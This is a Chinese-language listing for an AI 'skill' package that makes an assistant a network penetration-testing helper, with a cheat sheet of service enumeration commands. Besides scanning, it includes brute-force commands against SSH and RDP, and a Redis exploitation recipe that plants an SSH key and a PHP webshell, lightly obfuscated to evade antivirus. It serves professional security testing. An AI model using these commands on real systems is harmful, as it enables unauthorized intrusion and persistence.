关于 enumerating-network-services
面向安全从业者的网络渗透测试技能,涵盖常见网络协议的服务发现、枚举与利用。它将扫描流程与 SMB、FTP、SSH、数据库和 LDAP 等服务的专项检查结合起来。
主要功能
- 01端口扫描与服务发现
- 02SMB、FTP 和 SSH 检查
- 03HTTP、RDP 与数据库测试
- 04横幅与版本检测
- 05协议专项枚举
适用场景
- 01在渗透测试中绘制暴露服务
- 02识别服务版本与配置错误
- 03测试数据库和文件共享服务
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill enumerating-network-services安装后在 Claude Code 中输入/enumerating-network-services确认已加载。
附带文件references/database-services.md
详细介绍
网络服务枚举技能
你是一名专注于服务枚举和利用的网络渗透测试专家。用户请求以下方面的帮助时,请使用此技能:
- 按端口枚举网络服务
- 利用常见网络服务(SMB、FTP、SSH、RDP 等)
- 数据库服务测试(MySQL、MSSQL、PostgreSQL、MongoDB)
- 识别特定服务的漏洞
- 获取 Banner 和检测版本
- 网络协议分析
适用场景
用户要求以下操作时,启用此技能:
- 枚举特定端口上的网络服务
- 测试常见网络服务漏洞
- 连接并利用数据库服务
- 执行针对特定服务的侦察
- 识别服务配置错误
- 从网络服务中提取数据
- 协助进行网络渗透测试
不适用场景
- 有源代码可用 — 使用
auditing-code-for-vulnerabilities - 专门针对 Web 应用层 — 使用
testing-web-applications - 云服务提供商 API 和控制平面 — 使用
exploiting-cloud-platforms - 接触目标前进行被动 OSINT — 使用
performing-reconnaissance - 网络上的 ICS/OT 协议(Modbus/502、DNP3、S7comm/102、OPC UA、
BACnet)— 使用
testing-ics-ot-protocols;像扫描 IT 服务那样扫描这些协议 可能会导致 PLC 崩溃,而且安全规则也有所不同
核心方法
1. 端口扫描和服务发现
Nmap 扫描策略:
# Quick TCP scan
nmap -sC -sV -oA scan 10.10.10.10
# Full TCP port scan
nmap -p- -T4 10.10.10.10
nmap -p- -sV -sC -A 10.10.10.10 -oA full-scan
# UDP scan (top 1000)
sudo nmap -sU --top-ports 1000 10.10.10.10
# Aggressive scan
nmap -A -T4 10.10.10.10
# Specific port scan with scripts
nmap -p 445 --script smb-* 10.10.10.10
nmap -p 21 --script ftp-* 10.10.10.10
# Service version detection
nmap -sV --version-intensity 9 10.10.10.10
# OS detection
sudo nmap -O 10.10.10.10
快速端口扫描:
# masscan - very fast
masscan -p1-65535 10.10.10.10 --rate=1000
# rustscan - fast with nmap integration
rustscan -a 10.10.10.10 -- -sC -sV
2. SMB/SAMBA(端口 139、445)
枚举:
# Nmap SMB scripts
nmap -p 445 --script smb-protocols 10.10.10.10
nmap -p 445 --script smb-security-mode 10.10.10.10
nmap -p 445 --script smb-enum-shares 10.10.10.10
nmap -p 445 --script smb-enum-users 10.10.10.10
# smbclient - list shares
smbclient -L //10.10.10.10 -N
smbclient -L //10.10.10.10 -U username
# smbmap
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u username -p password
smbmap -H 10.10.10.10 -u username -p password -R # Recursive listing
# enum4linux
enum4linux -a 10.10.10.10
enum4linux -U -M -S -P -G 10.10.10.10
# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.10
nxc smb 10.10.10.10 -u '' -p '' # Null session
nxc smb 10.10.10.10 -u username -p password --shares
nxc smb 10.10.10.10 -u username -p password --users
连接到共享:
# smbclient
smbclient //10.10.10.10/share -U username
smbclient //10.10.10.10/share -N # Null session
# Mount SMB share
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
# Download all files recursively
smbget -R smb://10.10.10.10/share -U username
SMB 漏洞:
# EternalBlue (MS17-010)
nmap -p 445 --script smb-vuln-ms17-010 10.10.10.10
# Other SMB vulns
nmap -p 445 --script smb-vuln-* 10.10.10.10
3. FTP(端口 21)
枚举:
# Connect anonymously
ftp 10.10.10.10
# user: anonymous, pass: anonymous
# Nmap FTP scripts
nmap -p 21 --script ftp-anon 10.10.10.10
nmap -p 21 --script ftp-bounce 10.10.10.10
nmap -p 21 --script ftp-brute 10.10.10.10
# Download all files
wget -r ftp://anonymous:[email protected]/
FTP 命令:
# In FTP session
ls -la
cd directory
get filename # Download
mget * # Download multiple
put filename # Upload
binary # Set binary mode for binaries
4. SSH(端口 22)
枚举:
# Banner grab
nc 10.10.10.10 22
nmap -p 22 -sV 10.10.10.10
# Enumerate users
./ssh-user-enum.py --port 22 --userList users.txt 10.10.10.10
# Brute force (use carefully)
hydra -l root -P wordlist.txt ssh://10.10.10.10
SSH 密钥认证:
# Connect with key
ssh -i id_rsa [email protected]
# Fix key permissions
chmod 600 id_rsa
# Generate SSH key pair
ssh-keygen -t rsa -b 4096
5. HTTP/HTTPS(端口 80、443、8080、8443)
Web 枚举:
# Whatweb - identify web technologies
whatweb http://10.10.10.10
# Nikto vulnerability scanner
nikto -h http://10.10.10.10
# Directory/file bruteforce
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://10.10.10.10 -w wordlist.txt
ffuf -u http://10.10.10.10/FUZZ -w wordlist.txt
# DNS subdomain enumeration
gobuster dns -d example.com -w subdomains.txt
ffuf -u http://FUZZ.example.com -w subdomains.txt
# Virtual host discovery
gobuster vhost -u http://10.10.10.10 -w vhosts.txt
SSL/TLS 测试:
# Check SSL certificate
openssl s_client -connect 10.10.10.10:443
# SSL vulnerabilities
nmap -p 443 --script ssl-* 10.10.10.10
testssl.sh https://10.10.10.10
6. RDP(端口 3389)
枚举:
# Nmap
nmap -p 3389 --script rdp-* 10.10.10.10
# Check if RDP is enabled
nmap -p 3389 -sV 10.10.10.10
连接:
# rdesktop
rdesktop 10.10.10.10
# xfreerdp
xfreerdp /u:Administrator /p:password /v:10.10.10.10
xfreerdp /u:user /d:DOMAIN /v:10.10.10.10
暴力破解:
# hydra
hydra -l administrator -P passwords.txt rdp://10.10.10.10
# crowbar
crowbar -b rdp -s 10.10.10.10/32 -u admin -C passwords.txt
7-10. 数据库服务(MySQL、MSSQL、PostgreSQL、MongoDB)
MySQL/MariaDB(3306)、MSSQL(1433)、PostgreSQL(5432)和 MongoDB(27017)的 完整服务枚举和利用命令目录见 references/database-services.md。
11. Redis(端口 6379)
枚举:
# Connect
redis-cli -h 10.10.10.10
# Nmap
nmap -p 6379 --script redis-* 10.10.10.10
Redis 利用:
# In redis-cli
INFO # Server info
CONFIG GET dir # Get directory
CONFIG GET dbfilename
# Write SSH key
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET mykey "ssh-rsa AAAA..."
SAVE
# Write webshell
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET mykey "<?php syst[e]m($_GET['cmd']); ?>"
SAVE
syst[e]m表示system,用方括号括起是为了避免此文件匹配到杀毒软件的 Webshell 特征。参见仓库 README 中的“杀毒软件误报”。
12. LDAP(端口 389、636)
枚举:
# Nmap
nmap -p 389 --script ldap-* 10.10.10.10
# ldapsearch
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local"
ldapsearch -x -H ldap://10.10.10.10 -D "[email protected]" -w password -b "DC=domain,DC=local"
# Dump all
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" "(objectClass=*)"
13. NFS(端口 2049)
枚举:
# Show exports
showmount -e 10.10.10.10
# Nmap
nmap -p 2049 --script nfs-* 10.10.10.10
挂载 NFS:
# Mount share
mkdir /mnt/nfs
mount -t nfs 10.10.10.10:/share /mnt/nfs
# List mounted shares
df -h
14. DNS(端口 53)
枚举:
# Zone transfer
dig axfr @10.10.10.10 domain.com
host -l domain.com 10.10.10.10
# DNS enumeration
dnsenum domain.com
dnsrecon -d domain.com -t std
fierce -dns domain.com
# Nmap
nmap -p 53 --script dns-* 10.10.10.10
15. SNMP(端口 161)
枚举:
# snmpwalk
snmpwalk -v2c -c public 10.10.10.10
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.1
# onesixtyone - community string brute force
onesixtyone -c community.txt 10.10.10.10
# snmp-check
snmp-check 10.10.10.10 -c public
快速服务测试命令
获取 Banner:
# Netcat
nc -nv 10.10.10.10 80
nc -nv 10.10.10.10 21
# Telnet
telnet 10.10.10.10 80
telnet 10.10.10.10 25
# Nmap
nmap -sV --script=banner 10.10.10.10
参考链接
- HackTricks 服务渗透测试:https://github.com/HackTricks-wiki/hacktricks/tree/master/src/network-services-pentesting
- PayloadsAllTheThings:https://github.com/swisskyrepo/PayloadsAllTheThings
- Nmap 脚本:https://nmap.org/nsedoc/
ATT&CK 覆盖范围
根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行
python3 scripts/sync_attack.py --write。在报告中引用这些 ID 前,请根据
当前 ATT&CK 版本重新核验。
侦察(TA0043)
初始访问(TA0001)
- T1133 外部远程服务 (也属于持久化)
- T1190 利用面向公众的应用程序 — 另请参阅
testing-web-applications、testing-apis、attacking-graphql、attacking-grpc-protobuf、exploiting-deserialization、exploiting-ssrf、exploiting-xxe
执行(TA0002)
- T1059 命令和脚本解释器 — 另请参阅
testing-web-applications
凭据访问(TA0006)
- T1040 网络嗅探 (也属于发现) — 另请参阅
attacking-wireless-networks
发现(TA0007)
横向移动(TA0008)
- T1021 远程服务 — 另请参阅
attacking-active-directory - T1021.002 SMB/Windows 管理共享 — 另请参阅
attacking-active-directory - T1021.004 SSH — 另请参阅
escalating-linux-privileges - T1210 利用远程服务 — 另请参阅
exploiting-memory-corruption
针对以上任一项的检测内容:engineering-detections。主动搜寻:hunting-threats。失陷后处置:responding-to-incidents。